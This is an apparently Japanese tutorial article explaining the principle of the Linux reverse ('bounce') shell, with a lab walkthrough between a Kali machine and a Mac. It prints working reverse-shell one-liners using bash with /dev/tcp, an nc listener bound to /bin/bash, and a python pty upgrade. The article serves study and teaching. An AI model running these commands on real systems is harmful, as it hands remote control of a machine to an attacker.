1. ホーム
  2. スクリプト・コラム
  3. リナックスシェル

リナックスバウンスシェルの原理を解説

2022-02-08 14:53:14

フルコマンド

バウンスシェルコマンド。

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1

ncバウンスシェルを使用する。

nc -lvvp 12345 -t -e /bin/bash

プリンシプル

bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i は対話型bashを開きます。
& は、ファイル 1 とファイル記述子 1 を区別するためのものです。
a>&b の意味は a>b 2>&1 です。
0は入力、0>&1は出力ウィンドウに入力された値を現在のウィンドウへの入力とすることを意味します。シェルをバウンスした後、ターゲットマシンのシェルウィンドウと攻撃マシンのシェルポートの2つのウィンドウが存在することになります。このコマンドは、攻撃側ウィンドウの入力を対象ウィンドウの入力として扱い、最終的に対象マシンに送り込むことも意味します。2は標準エラー出力を表します。

実験

理解を深めるための小さな実験

最初のステップは、シェルからの正しい出力を外部ホストにリダイレクトすることです。

kali上で次のようにコマンドを入力するとします。
bash -i > /dev/tcp/192.168.124.1/9999 これは、対話型シェルの標準出力を 192.168.124.1 の 9999 番ポートにリダイレクトするためのものです。

Mac でこのポートをリッスンするコマンドは次のとおりです。

まず、kaliでwhoamiコマンドを打ってみると、echoがmacにリダイレクトされるため、echoがないことがわかりました。

しかし、kaliでerrorコマンドに入ったり出たりすると、フォールバックがある。

2番目のステップでは、エラー出力を外部ホストにリダイレクトします。

上記のコマンドに2>&1を追加するだけです。これは、エラー出力を標準出力にリダイレクトすることを意味し、外部ホストにリダイレクトすることを意味します。

この時点で、kali でキーボードを押してもエコーが表示されなくなり、エコーはすべて mac のシェルに表示されることが判明しました。

これは、すべての出力を外部ホストにリダイレクトしたためですが、問題は、現在、私たちはまだkali上で制御しており、macは出力に対して何もできず、表示だけしかできないことです。この時点で、いくつかの文は、私たちのMacに入力権限を与える必要があります。

ステップ3、入力権限を渡す

手順2のコマンドに0>&1を追加するだけです。

この時点で、mac上のkaliシェルを完全に制御することが可能になり、実験終了です。

その他

シェルが不安定なときにpythonで端末を仮想化する。

python -c "import pty;pty.spawn('/bin/bash')"

参考
https://www.freebuf.com/news/142195.html #シェルを完全な tty に変換する
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017

linux bounce shellの原理について、この記事を紹介し、より関連するlinux bounce shellの内容は、スクリプトハウスの以前の記事を検索してくださいまたは、次の関連記事を閲覧し続けるあなたは、将来的にもっとスクリプトハウスをサポートすることを願っています!.